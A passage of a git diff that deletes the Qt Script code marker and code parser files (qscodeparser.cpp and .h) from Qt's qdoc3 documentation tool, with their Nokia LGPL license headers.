$QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodemarker.h -*/ - -#ifndef QSCODEMARKER_H -#define QSCODEMARKER_H - -#include "codemarker.h" - -QT_BEGIN_NAMESPACE - -class QsCodeMarker : public CodeMarker -{ -public: - QsCodeMarker(); - ~QsCodeMarker(); - - bool recognizeCode( const QString& code ); - bool recognizeExtension( const QString& ext ); - bool recognizeLanguage( const QString& lang ); - QString plainName(const Node *node); - QString plainFullName(const Node *node, const Node *relative); - QString markedUpCode( const QString& code, const Node *relative, - const QString& dirPath ); - QString markedUpSynopsis( const Node *node, const Node *relative, - SynopsisStyle style ); - QString markedUpName( const Node *node ); - QString markedUpFullName( const Node *node, const Node *relative ); - QString markedUpEnumValue(const QString &enumValue, const Node *relative); - QString markedUpIncludes( const QStringList& includes ); - QList
    sections(const InnerNode *innerNode, SynopsisStyle style, Status status); - QString functionBeginRegExp( const QString& funcName ); - QString functionEndRegExp( const QString& funcName ); -}; - -QT_END_NAMESPACE - -#endif diff --git a/tools/qdoc3/qscodeparser.cpp b/tools/qdoc3/qscodeparser.cpp deleted file mode 100644 index 3b8bc1a..0000000 --- a/tools/qdoc3/qscodeparser.cpp +++ /dev/null @@ -1,944 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodeparser.cpp -*/ - -#include -#include - -#include "config.h" -#include "qscodeparser.h" -#include "text.h" -#include "tokenizer.h" -#include "tree.h" - -QT_BEGIN_NAMESPACE - -#define CONFIG_QUICK "quick" -#define CONFIG_REPLACES "replaces" - -#define COMMAND_BRIEF Doc::alias( "brief") -#define COMMAND_CODE Doc::alias( "code") -#define COMMAND_ENDCODE Doc::alias( "endcode") -#define COMMAND_ENDQUICKCODE Doc::alias( "endquickcode") -#define COMMAND_FILE Doc::alias( "file") -#define COMMAND_GROUP Doc::alias( "group") -#define COMMAND_MODULE Doc::alias( "module") -#define COMMAND_PAGE Doc::alias( "page") -#define COMMAND_QUICKCLASS Doc::alias( "quickclass") -#define COMMAND_QUICKCODE Doc::alias( "quickcode") -#define COMMAND_QUICKENUM Doc::alias( "quickenum") -#define COMMAND_QUICKFN Doc::alias( "quickfn") -#define COMMAND_QUICKIFY Doc::alias( "quickify") -#define COMMAND_QUICKPROPERTY Doc::alias( "quickproperty") -#define COMMAND_PROTECTED Doc::alias( "protected") -#define COMMAND_REPLACE Doc::alias( "replace") - -static QString balancedParens = "(?:[^()]+|\\([^()]*\\))*"; - -QsCodeParser::QsCodeParser(Tree *cppTree) - : cppTre(cppTree), qsTre(0), replaceRegExp("/(.+)/([^/]*)/") -{ -} - -QsCodeParser::~QsCodeParser() -{ -} - -void QsCodeParser::initializeParser(const Config& config) -{ - CppCodeParser::initializeParser(config); - - nodeTypeMap.insert(COMMAND_QUICKCLASS, Node::Class); - nodeTypeMap.insert(COMMAND_QUICKENUM, Node::Enum); - nodeTypeMap.insert(COMMAND_QUICKPROPERTY, Node::Property); - nodeTypeMap.insert(COMMAND_QUICKFN, Node::Function); - - QString quickDotReplaces = CONFIG_QUICK + Config::dot + CONFIG_REPLACES; - QStringList replaces = config.getStringList(quickDotReplaces); - QStringList::ConstIterator r = replaces.begin(); - while (r != replaces.end()) { - if (replaceRegExp.exactMatch(*r)) { - QRegExp before(replaceRegExp.cap(1)); - before.setMinimal(true); - QString after = replaceRegExp.cap(2); - - if (before.isValid()) { - replaceBefores << before; - replaceAfters << after; - } - else { - config.lastLocation().warning( - tr("Invalid regular expression '%1'") - .arg(before.pattern())); - } - } - else { - config.lastLocation().warning(tr("Bad syntax in '%1'") - .arg(quickDotReplaces)); - } - ++r; - } -} - -void QsCodeParser::terminateParser() -{ - nodeTypeMap.clear(); - classesWithNoQuickDoc.clear(); - replaceBefores.clear(); - replaceAfters.clear(); - CppCodeParser::terminateParser(); -} - -QString QsCodeParser::language() -{ - return "Qt Script"; -} - -QString QsCodeParser::headerFileNameFilter() -{ - return "*"; -} - -QString QsCodeParser::sourceFileNameFilter() -{ - return "*.qs *.qsd"; -} - -void QsCodeParser::parseHeaderFile(const Location& location, - const QString& filePath, - Tree *tree) -{ - qsTre = tree; - - QFile in(filePath); - if (!in.open(QIODevice::ReadOnly)) { - location.error(tr("Cannot open Qt Script class list '%1'") - .arg(filePath)); - return; - } - - Location fileLocation(filePath); - Tokenizer fileTokenizer(fileLocation, in); - int tok = fileTokenizer.getToken(); - while (tok != Tok_Eoi) { - if (tok == Tok_Ident) { - ClassNode *quickClass = new ClassNode(qsTre->root(), - fileTokenizer.lexeme()); - quickClass->setLocation(fileTokenizer.location()); - } - else { - fileTokenizer.location().error(tr("Unexpected token '%1' in Qt" - " Script class list") - .arg(fileTokenizer.lexeme())); - break; - } - tok = fileTokenizer.getToken(); - } - in.close(); -} - -void QsCodeParser::parseSourceFile(const Location& location, - const QString& filePath, - Tree *tree) -{ - qsTre = tree; - CppCodeParser::parseSourceFile(location, filePath, tree); -} - -void QsCodeParser::doneParsingHeaderFiles(Tree *tree) -{ - NodeList::ConstIterator c = tree->root()->childNodes().begin(); - while (c != tree->root()->childNodes().end()) { - if ((*c)->type() == Node::Class) - quickifyClass((ClassNode *) *c); - ++c; - } - cppTre->root()->deleteChildren(); // save memory - tree->resolveInheritance(); - tree->resolveProperties(); -} - -void QsCodeParser::doneParsingSourceFiles(Tree *tree) -{ - tree->root()->normalizeOverloads(); - - NodeList::ConstIterator c = tree->root()->childNodes().begin(); - while (c != tree->root()->childNodes().end()) { - if ((*c)->type() == Node::Class) { - QMap::ConstIterator cwnqd = - classesWithNoQuickDoc.find((*c)->name()); - if (cwnqd != classesWithNoQuickDoc.end()) { - (*cwnqd)->location().warning(tr("No '\\%1' documentation for" - " class '%2'") - .arg(COMMAND_QUICKCLASS) - .arg(cwnqd.key())); - (*cwnqd)->setDoc(Doc(), true); - } - } - ++c; - } - - // ### check which enum types are used -} - -FunctionNode *QsCodeParser::findFunctionNode(const QString& synopsis, - Tree *tree) -{ - QStringList parentPath; - FunctionNode *clone; - FunctionNode *func = 0; - - if (makeFunctionNode(synopsis, &parentPath, &clone)) { - func = tree->findFunctionNode(parentPath, clone); - delete clone; - } - return func; -} - -QSet QsCodeParser::topicCommands() -{ - return QSet() << COMMAND_FILE << COMMAND_GROUP << COMMAND_MODULE - << COMMAND_PAGE << COMMAND_QUICKCLASS - << COMMAND_QUICKENUM << COMMAND_QUICKFN - << COMMAND_QUICKPROPERTY; -} - -Node *QsCodeParser::processTopicCommand(const Doc& doc, - const QString& command, - const QString& arg) -{ - if (command == COMMAND_QUICKFN) { - QStringList parentPath; - FunctionNode *quickFunc = 0; - FunctionNode *clone; - - if (makeFunctionNode(arg, &parentPath, &clone)) { - FunctionNode *kernelFunc = findKernelFunction(parentPath, - clone->name()); - if (kernelFunc != 0) - kernelFunc->setAccess(Node::Private); - - quickFunc = qsTre->findFunctionNode(parentPath, clone); - if (quickFunc == 0 && kernelFunc != 0) { - quickFunc = new FunctionNode(kernelFunc->parent(), - kernelFunc->name()); - quickFunc->setLocation(kernelFunc->location()); - quickFunc->setReturnType(clone->returnType()); - quickFunc->setParameters(clone->parameters()); - } - - if (quickFunc == 0) { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - else { - quickFunc->setAccess(Node::Public); - QStringList qtParams = quickFunc->parameterNames(); - quickFunc->borrowParameterNames(clone); - QStringList quickParams = quickFunc->parameterNames(); - setQuickDoc(quickFunc, doc, qtParams, quickParams); - } - delete clone; - } - else { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - return 0; - } - else if (nodeTypeMap.contains(command)) { - QStringList subArgs = arg.split(" "); - QString dataType; - - if (subArgs.count() == 3 && subArgs[1] == ":") { - dataType = subArgs[2]; - } - else if (subArgs.count() != 1) { - doc.location().warning(tr("Invalid syntax in '\\%1'") - .arg(command)); - } - - QStringList path = subArgs[0].split("."); - Node *quickNode = qsTre->findNode(path, nodeTypeMap[command]); - if (quickNode == 0) { - doc.location().warning(tr("Cannot find '%1' specified with '\\%2'") - .arg(arg).arg(command)); - } - else { - setQuickDoc(quickNode, doc); - if (quickNode->type() == Node::Class) { - classesWithNoQuickDoc.remove(quickNode->name()); - if (doc.briefText().isEmpty()) - doc.location().warning(tr("Missing '\\%1' for class '%2'") - .arg(COMMAND_BRIEF) - .arg(quickNode->name())); - } - else if (quickNode->type() == Node::Property) { - PropertyNode *quickProperty = (PropertyNode *) quickNode; - if (quickProperty->dataType() == "Object") { - if (dataType.isEmpty()) { - doc.location().warning(tr("Missing data type in '\\%1'" - " (assuming 'Object')") - .arg(command)); - } - else { - quickProperty->setDataType(dataType); - } - } - else if (dataType != quickProperty->dataType()) { - doc.location().warning(tr("Ignored contradictory data type" - " in '\\%1'") - .arg(command)); - } - } - } - return 0; - } - else { - return CppCodeParser::processTopicCommand(doc, command, arg); - } -} - -QSet QsCodeParser::otherMetaCommands() -{ - return commonMetaCommands() << COMMAND_ENDQUICKCODE << COMMAND_QUICKCODE - << COMMAND_QUICKIFY << COMMAND_REPLACE; -} - -void QsCodeParser::processOtherMetaCommand(const Doc& doc, - const QString& command, - const QString& arg, - Node *node) -{ - if (command == COMMAND_PROTECTED) { - doc.location().warning(tr("Cannot use '\\%1' in %2") - .arg(COMMAND_PROTECTED).arg(language())); - } - else { - CppCodeParser::processOtherMetaCommand(doc,command,arg,node); - } -} - -ClassNode *QsCodeParser::tryClass(const QString& className) -{ - return (ClassNode*) cppTre->findNode(QStringList(className),Node::Class); -} - -FunctionNode *QsCodeParser::findKernelFunction(const QStringList& parentPath, - const QString& name) -{ - FunctionNode clone(0, name); - clone.setReturnType("Object"); - clone.addParameter(Parameter("...")); - return qsTre->findFunctionNode(parentPath, &clone); -} - -void QsCodeParser::extractRegExp(const QRegExp& regExp, - QString& source, - const Doc& doc) -{ - QRegExp blankLineRegExp( - "[ \t]*(?:\n(?:[ \t]*\n)+[ \t]*|[ \n\t]*\\\\code|" - "\\\\endcode[ \n\t]*)"); - QStringList paras = source.trimmed().split(blankLineRegExp); - paras = paras.filter(regExp); - if (paras.count() == 0) { - doc.location().warning(tr("Cannot find regular expression '%1'") - .arg(regExp.pattern())); - } - else if (paras.count() > 1) { - doc.location().warning(tr("Regular rexpression '%1' matches multiple" - "times").arg(regExp.pattern())); - } - else { - source = paras.first() + "\n\n"; - } -} - -void QsCodeParser::extractTarget(const QString& target, - QString& source, - const Doc& doc) -{ - QRegExp targetRegExp( - "(\\\\target\\s+(\\S+)[^\n]*\n" - "(?:(?!\\s*\\\\code)[^\n]+\n|\\s*\\\\code.*\\\\endcode\\s*\n)*)" - "(?:\\s*\n|[^\n]*$)"); - targetRegExp.setMinimal(true); - - int pos = 0; - while ((pos = source.indexOf(targetRegExp, pos)) != -1) { - if (targetRegExp.cap(2) == target) { - source = targetRegExp.cap(1) + "\n\n"; - return; - } - pos += targetRegExp.matchedLength(); - } - doc.location().warning(tr("Cannot find target '%1'").arg(target)); -} - -void QsCodeParser::renameParameters(QString& source, - const Doc& /* doc */, - const QStringList& qtParams, - const QStringList& quickParams) -{ - QRegExp paramRegExp("(\\\\a\\s*\\{?\\s*)([A-Za-z0-9_]+)"); - - int pos = 0; - while ((pos = paramRegExp.indexIn(source, pos)) != -1) { - pos += paramRegExp.cap(1).length(); - QString before = paramRegExp.cap(2); - int index = qtParams.indexOf(before); - if (index != -1) { - QString after = quickParams[index]; - source.replace(pos, before.size(), after); - } - } -} - -void QsCodeParser::applyReplacementList(QString& source, const Doc& doc) -{ - QStringList args = doc.metaCommandArgs(COMMAND_REPLACE); - QStringList::ConstIterator a = args.begin(); - while (a != args.end()) { - if (replaceRegExp.exactMatch(*a)) { - QRegExp before(replaceRegExp.cap(1)); - before.setMinimal(true); - QString after = replaceRegExp.cap(2); - - if (before.isValid()) { - int oldLen = source.size(); - source.replace(before, after); - - // this condition is sufficient but not necessary - if (oldLen == source.size() && !source.contains(after)) - doc.location().warning( - tr("Regular expression '%1' did not match anything") - .arg(before.pattern())); - } - else { - doc.location().warning( - tr("Invalid regular expression '%1'") - .arg(before.pattern())); - } - } - else { - doc.location().warning(tr("Bad syntax in '\\%1'") - .arg(COMMAND_REPLACE)); - } - ++a; - } - - QRegExp codeRegExp("\\\\" + COMMAND_CODE + "(.*)\\\\" + COMMAND_ENDCODE); - codeRegExp.setMinimal(true); - - QRegExp quickcodeRegExp( - "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + COMMAND_ENDQUICKCODE); - quickcodeRegExp.setMinimal(true); - - int quickcodePos = doc.source().indexOf(quickcodeRegExp); - if (quickcodePos != -1) { - int codePos = source.indexOf(codeRegExp); - if (codePos == -1) { - doc.location().warning( - tr("Cannot find any '\\%1' snippet corresponding to '\\%2'") - .arg(COMMAND_CODE).arg(COMMAND_QUICKCODE)); - } - else { - source.replace(codeRegExp.pos(1), codeRegExp.cap(1).length(), - quickcodeRegExp.cap(1)); - codePos = codeRegExp.pos(1) + quickcodeRegExp.cap(1).length(); - - if (doc.source().indexOf(quickcodeRegExp, quickcodePos + 1) != -1) { - doc.location().warning( - tr("Cannot use '\\%1' twice in a row") - .arg(COMMAND_QUICKCODE)); - } - else if (source.indexOf(codeRegExp, codePos + 1) != -1) { - doc.location().warning(tr("Ambiguous '\\%1'") - .arg(COMMAND_QUICKCODE)); - } - } - } -} - -void QsCodeParser::quickifyClass(ClassNode *quickClass) -{ - QString qtClassName = quickClass->name(); - QString bare = quickClass->name(); - if (bare != "Qt" && bare != "Object") { - if (bare.startsWith("Q")) { - bare = bare.mid(1); - } - else { - qtClassName.prepend("Q"); - classesWithNoQ.insert(bare); - } - } - - ClassNode *qtClass = 0; - ClassNode *wrapperClass = 0; - - if ((wrapperClass = tryClass("Quick" + bare)) != 0 || - (wrapperClass = tryClass("QS" + bare + "Class")) != 0) { - qtClass = tryClass(qtClassName); - if (qtClass == 0) { - qtClass = wrapperClass; - wrapperClass = 0; - } - } - else if ((wrapperClass = tryClass("Quick" + bare + "Ptr")) != 0) { - QRegExp ptrToQtType("(Q[A-Za-z0-9_]+)\\s*\\*"); - FunctionNode *ctor = - wrapperClass->findFunctionNode(wrapperClass->name()); - if (ctor != 0 && !ctor->parameters().isEmpty() && - ptrToQtType.exactMatch(ctor->parameters().first().leftType())) - qtClassName = ptrToQtType.cap(1); - qtClass = tryClass(qtClassName); - } - else { - wrapperClass = tryClass("Q" + bare + "Ptr"); - if (wrapperClass == 0) - wrapperClass = tryClass("Quick" + bare + "Interface"); - qtClass = tryClass(qtClassName); - } - - if (qtClass == 0) { - if (wrapperClass == 0) { - quickClass->location().warning(tr("Cannot find Qt class '%1'") - .arg(qtClassName)); - } - else { - quickClass->location().warning(tr("Cannot find Qt class '%1'" - " wrapped by '%2'") - .arg(qtClassName) - .arg(wrapperClass->name())); - } - return; - } - - QList::ConstIterator r = qtClass->baseClasses().begin(); - while (r != qtClass->baseClasses().end()) { - ClassNode *quickBaseClass = cpp2qs.findClassNode(qsTre, - (*r).node->name()); - if (quickBaseClass) - quickClass->addBaseClass((*r).access, quickBaseClass); - ++r; - } - if (quickClass->baseClasses().isEmpty() && quickClass->name() != "Object") - quickClass->addBaseClass(Node::Public, - cpp2qs.findClassNode(qsTre,"Object")); - - QSet funcBlackList; - QSet propertyBlackList; - - NodeList children; - if (wrapperClass != 0) { - children = wrapperClass->childNodes(); - - funcBlackList.insert(wrapperClass->name()); - funcBlackList.insert("~" + wrapperClass->name()); - } - children += qtClass->childNodes(); - - for (int pass = 0; pass < 2; pass++) { - NodeList::ConstIterator c = children.begin(); - while (c != children.end()) { - if ((*c)->access() != Node::Private && - (*c)->status() == Node::Commendable) { - if (pass == 0) { - if ((*c)->type() == Node::Enum) { - EnumNode *enume = (EnumNode *) *c; - quickifyEnum(quickClass, enume); - } - else if ((*c)->type() == Node::Property) { - if (!propertyBlackList.contains((*c)->name())) { - PropertyNode *property = (PropertyNode *) *c; - quickifyProperty(quickClass, qtClass, property); - if (!property->getters().isEmpty()) - funcBlackList.insert(property->getters().first()->name()); - if (!property->setters().isEmpty()) - funcBlackList.insert(property->setters().first()->name()); - if (!property->resetters().isEmpty()) - funcBlackList.insert(property->resetters().first()->name()); - propertyBlackList.insert(property->name()); - } - } - } - else if ((*c)->type() == Node::Function) { - FunctionNode *func = (FunctionNode *) *c; - quickifyFunction(quickClass, qtClass, func, - funcBlackList.contains((*c)->name()) && - func->parameters().count() < 2); - } - } - ++c; - } - } - setQtDoc(quickClass, qtClass->doc()); - classesWithNoQuickDoc.insert(quickClass->name(), quickClass); -} - -void QsCodeParser::quickifyEnum(ClassNode *quickClass, EnumNode *enume) -{ - EnumNode *quickEnum = new EnumNode(quickClass, enume->name()); - quickEnum->setLocation(enume->location()); -#if 0 // ### not yet - quickEnum->setAccess(Node::Protected); -#endif - - QList::ConstIterator it = enume->items().begin(); - while (it != enume->items().end()) { - QString name = (*it).name(); - QString value = (*it).value(); - quickEnum->addItem(EnumItem(name, value)); - ++it; - } - setQtDoc(quickEnum, enume->doc()); -} - -void QsCodeParser::quickifyFunction(ClassNode *quickClass, ClassNode *qtClass, - FunctionNode *func, bool onBlackList) -{ - if (func->metaness() == FunctionNode::Dtor) - return; - - FunctionNode *kernelFunc = findKernelFunction( - QStringList() << quickClass->name(), func->name()); - - QString quickName = func->name(); - if (func->metaness() == FunctionNode::Ctor) - quickName = quickClass->name(); - FunctionNode *quickFunc = new FunctionNode(quickClass, quickName); - quickFunc->setLocation(func->location()); - - if (onBlackList) { - quickFunc->setAccess(Node::Protected); - } - else { - if (kernelFunc != 0 && func->numOverloads() == 1 && - (func->parameters().count() == 0 || - func->parameters().last().defaultValue().isEmpty())) { - kernelFunc->setAccess(Node::Private); - } - else { - if (func->metaness() == FunctionNode::Plain) - quickFunc->setAccess(Node::Protected); - } - } - - quickFunc->setReturnType(cpp2qs.convertedDataType(qsTre, - func->returnType())); - if (func->metaness() != FunctionNode::Slot) - quickFunc->setMetaness(func->metaness()); - quickFunc->setVirtualness(FunctionNode::ImpureVirtual); - quickFunc->setOverload(func->isOverload()); - - QList::ConstIterator q = func->parameters().begin(); - while (q != func->parameters().end()) { - QString dataType = cpp2qs.convertedDataType(qsTre, (*q).leftType(), - (*q).rightType()); - if (dataType.isEmpty()) { - dataType = "UNKNOWN"; - quickFunc->setAccess(Node::Private); - } - Parameter param(dataType, "", (*q).name(), - (*q).defaultValue().isEmpty() ? "" : "undefined"); - quickFunc->addParameter(param); - ++q; - } - - if (func->doc().isEmpty()) { - if (func->parent() != (InnerNode *) qtClass) { - func = qtClass->findFunctionNode(func); - if (func != 0) - setQtDoc(quickFunc, func->doc()); - } - } - else { - setQtDoc(quickFunc, func->doc()); - } -} - -void QsCodeParser::quickifyProperty(ClassNode *quickClass, - ClassNode * /* qtClass */, - PropertyNode *property) -{ - PropertyNode *quickProperty = new PropertyNode(quickClass, - property->name()); - quickProperty->setLocation(property->location()); - quickProperty->setDataType(cpp2qs.convertedDataType(qsTre, - property->dataType())); -#if 0 - quickProperty->setGetter(property->getter()); - quickProperty->setSetter(property->setter()); - quickProperty->setResetter(property->resetter()); -#endif - quickProperty->setStored(property->isStored()); - quickProperty->setDesignable(property->isDesignable()); - - setQtDoc(quickProperty, property->doc()); -} - -QString QsCodeParser::quickifiedDoc(const QString& source) -{ - QString result; - int i = 0; - - while (i < (int) source.length()) { - if (leftWordBoundary(source, i)) { - if (source[i] == 'Q') { - if (source[i + 1] == 'C' && source.mid(i, 8) == "QCString") { - i += 2; - } - else { - int end = i + 1; - while (isWord(source[end])) - ++end; - if (!classesWithNoQ.contains( - source.mid(i + 1, end - (i + 1)))) - result += "Q"; - i++; - } - } - else if (source[i] == 'T' && source.mid(i, 4) == "TRUE" && - rightWordBoundary(source, i + 4)) { - result += "\\c{true}"; - i += 4; - } - else if (source[i] == 'F' && source.mid(i, 5) == "FALSE" && - rightWordBoundary(source, i + 5)) { - result += "\\c{false}"; - i += 5; - } - else if (source[i] == 'c' && source.mid(i, 6) == "const ") { - i += 6; - } - else { - result += source[i++]; - } - } - else if ((source[i] == ':' && source[i + 1] == ':') || - (source[i] == '-' && source[i + 1] == '>')) { - result += '.'; - i += 2; - } - else if (source[i] == '\\') { - // ### make independent of the command name - if (source.mid(i, 5) == "\\code") { - do { - result += source[i++]; - } while (source[i - 1] != '\n'); - - int begin = i; - int end = source.indexOf("\\endcode", i); - if (end != -1) { - QString code = source.mid(begin, end - begin); - result += cpp2qs.convertedCode(qsTre, code, - classesWithNoQ); - i = end; - } - } - else { - result += source[i++]; - } - } - else { - result += source[i++]; - } - } - - QList::ConstIterator b = replaceBefores.begin(); - QStringList::ConstIterator a = replaceAfters.begin(); - while (a != replaceAfters.end()) { - result.replace(*b, *a); - ++b; - ++a; - } - return result; -} - -void QsCodeParser::setQtDoc(Node *quickNode, const Doc& doc) -{ - if (!doc.isEmpty()) { - Doc quickDoc(doc.location(), doc.location(), - quickifiedDoc(doc.source()), - CppCodeParser::topicCommands() + - CppCodeParser::otherMetaCommands()); - quickNode->setDoc(quickDoc, true); - } -} - -void QsCodeParser::setQuickDoc(Node *quickNode, - const Doc& doc, - const QStringList& qtParams, - const QStringList& quickParams) -{ - QRegExp quickifyCommand("\\\\" + COMMAND_QUICKIFY + "([^\n]*)(?:\n|$)"); - - if (quickNode->type() == Node::Function) { - FunctionNode *quickFunc = (FunctionNode *) quickNode; - quickFunc->setOverload(false); - } - - if (doc.metaCommandsUsed().contains(COMMAND_QUICKIFY)) { - QString source = doc.source(); - int pos = source.indexOf(quickifyCommand); - if (pos != -1) { - QString quickifiedSource = quickNode->doc().source(); - if (!qtParams.isEmpty() && qtParams != quickParams) - renameParameters(quickifiedSource, doc, qtParams, - quickParams); - applyReplacementList(quickifiedSource, doc); - - do { - QString extract = quickifiedSource; - QString arg = quickifyCommand.cap(1).simplified(); - if (!arg.isEmpty()) { - if (arg.startsWith("/") && arg.endsWith("/") && - arg.length() > 2) { - QString pattern = arg.mid(1, arg.length() - 2); - extractRegExp(QRegExp(pattern), extract, doc); - } - else { - extractTarget(arg, extract, doc); - } - } - source.replace(pos, quickifyCommand.matchedLength(), extract); - pos += extract.length(); - } while ((pos = source.indexOf(quickifyCommand, pos)) != -1); - - QRegExp quickcodeRegExp( - "\\\\" + COMMAND_QUICKCODE + "(.*)\\\\" + - COMMAND_ENDQUICKCODE); - quickcodeRegExp.setMinimal(true); - source.replace(quickcodeRegExp, ""); - } - - Doc quickDoc(doc.location(), - doc.location(), - source, - (CppCodeParser::topicCommands() + topicCommands() + - CppCodeParser::otherMetaCommands()) << COMMAND_REPLACE); - quickNode->setDoc(quickDoc, true); - processOtherMetaCommands(quickDoc, quickNode); - } - else { - quickNode->setDoc(doc, true); - processOtherMetaCommands(doc, quickNode); - } -} - -bool QsCodeParser::makeFunctionNode(const QString& synopsis, - QStringList *parentPathPtr, - FunctionNode **funcPtr) -{ - QRegExp funcRegExp( - "\\s*([A-Za-z0-9_]+)\\.([A-Za-z0-9_]+)\\s*\\((" + - balancedParens + - ")\\)(?:\\s*:\\s*([A-Za-z0-9_]+))?\\s*"); - QRegExp paramRegExp( - "\\s*(\\[)?\\s*(?:([A-Za-z0-9_]+)\\s*:\\s*)?" - "([A-Za-z0-9_]+|\\.\\.\\.)\\s*(\\[)?[\\s\\]]*"); - - if (!funcRegExp.exactMatch(synopsis)) - return false; - - ClassNode *classe = (ClassNode*) - qsTre->findNode(QStringList(funcRegExp.cap(1)),Node::Class); - if (classe == 0) - return false; - - FunctionNode *clone = new FunctionNode(0, funcRegExp.cap(2)); - bool optional = false; - - QString paramStr = funcRegExp.cap(3); - QStringList params = paramStr.split(","); - QStringList::ConstIterator p = params.begin(); - while (p != params.end()) { - if (paramRegExp.exactMatch(*p)) { - if (!paramRegExp.cap(1).isEmpty()) - optional = true; - clone->addParameter(Parameter(paramRegExp.cap(3), - "", - paramRegExp.cap(2), - optional ? "undefined" : "")); - if (!paramRegExp.cap(4).isEmpty()) - optional = true; - } - else { - delete clone; - return false; - } - ++p; - } - QString returnType = funcRegExp.cap(4); - if (!returnType.isEmpty()) - clone->setReturnType(returnType); - if (parentPathPtr != 0) - *parentPathPtr = QStringList() << classe->name(); - if (funcPtr != 0) { - *funcPtr = clone; - } - else { - delete clone; - } - return true; -} - -bool QsCodeParser::isWord(QChar ch) -{ - return ch.isLetterOrNumber() || ch == QChar('_'); -} - -bool QsCodeParser::leftWordBoundary(const QString& str, int pos) -{ - return !isWord(str[pos - 1]) && isWord(str[pos]); -} - -bool QsCodeParser::rightWordBoundary(const QString& str, int pos) -{ - return isWord(str[pos - 1]) && !isWord(str[pos]); -} - -QT_END_NAMESPACE diff --git a/tools/qdoc3/qscodeparser.h b/tools/qdoc3/qscodeparser.h deleted file mode 100644 index 28924d7..0000000 --- a/tools/qdoc3/qscodeparser.h +++ /dev/null @@ -1,128 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). -** All rights reserved. -** Contact: Nokia Corporation (qt-info@nokia.com) -** -** This file is part of the tools applications of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** No Commercial Usage -** This file contains pre-release code and may not be distributed. -** You may use this file in accordance with the terms and conditions -** contained in the Technology Preview License Agreement accompanying -** this package. -** -** GNU Lesser General Public License Usage -** Alternatively, this file may be used under the terms of the GNU Lesser -** General Public License version 2.1 as published by the Free Software -** Foundation and appearing in the file LICENSE.LGPL included in the -** packaging of this file. Please review the following information to -** ensure the GNU Lesser General Public License version 2.1 requirements -** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** If you have questions regarding the use of this file, please contact -** Nokia at qt-info@nokia.com. -** -** -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/* - qscodeparser.h -*/ - -#ifndef QSCODEPARSER_H -#define QSCODEPARSER_H - -#include "cppcodeparser.h" -#include "cpptoqsconverter.h" - -QT_BEGIN_NAMESPACE - -class QsCodeParser : public CppCodeParser -{ - public: - QsCodeParser(Tree *cppTree); - ~QsCodeParser(); - - virtual void initializeParser(const Config& config); - virtual void terminateParser(); - virtual QString language(); - virtual QString headerFileNameFilter(); - virtual QString sourceFileNameFilter(); - virtual void parseHeaderFile(const Location& location, - const QString& filePath, Tree *tree); - virtual void parseSourceFile(const Location& location, - const QString& filePath, Tree *tree); - virtual void doneParsingHeaderFiles(Tree *tree); - virtual void doneParsingSourceFiles(Tree *tree); - - FunctionNode *findFunctionNode(const QString& synopsis, Tree *tree); - - protected: - virtual QSet topicCommands(); - virtual Node *processTopicCommand(const Doc& doc, const QString& command, - const QString& arg); - virtual QSet otherMetaCommands(); - virtual void processOtherMetaCommand(const Doc& doc, - const QString& command, - const QString& arg, Node *node); - - private: - ClassNode *tryClass(const QString& className); - FunctionNode *findKernelFunction(const QStringList& parentPath, - const QString& name); - void extractRegExp(const QRegExp& regExp, QString& source, - const Doc& doc); - void extractTarget(const QString& target, QString& source, - const Doc& doc); - void renameParameters(QString& source, const Doc& doc, - const QStringList& qtNames, - const QStringList& quickNames); - void applyReplacementList(QString& source, const Doc& doc); - void quickifyClass(ClassNode *quickClass); - void quickifyEnum(ClassNode *quickClass, EnumNode *enume); - void quickifyFunction(ClassNode *quickClass, ClassNode *qtClass, - FunctionNode *func, bool onBlackList); - void quickifyProperty(ClassNode *quickClass, ClassNode *qtClass, - PropertyNode *property); - QString quickifiedDoc(const QString& source); - void setQtDoc(Node *quickNode, const Doc& doc); - void setQuickDoc(Node *quickNode, const Doc& doc, - const QStringList& qtParams = QStringList(), - const QStringList& quickParams = QStringList()); - bool makeFunctionNode(const QString& synopsis, QStringList *parentPathPtr, 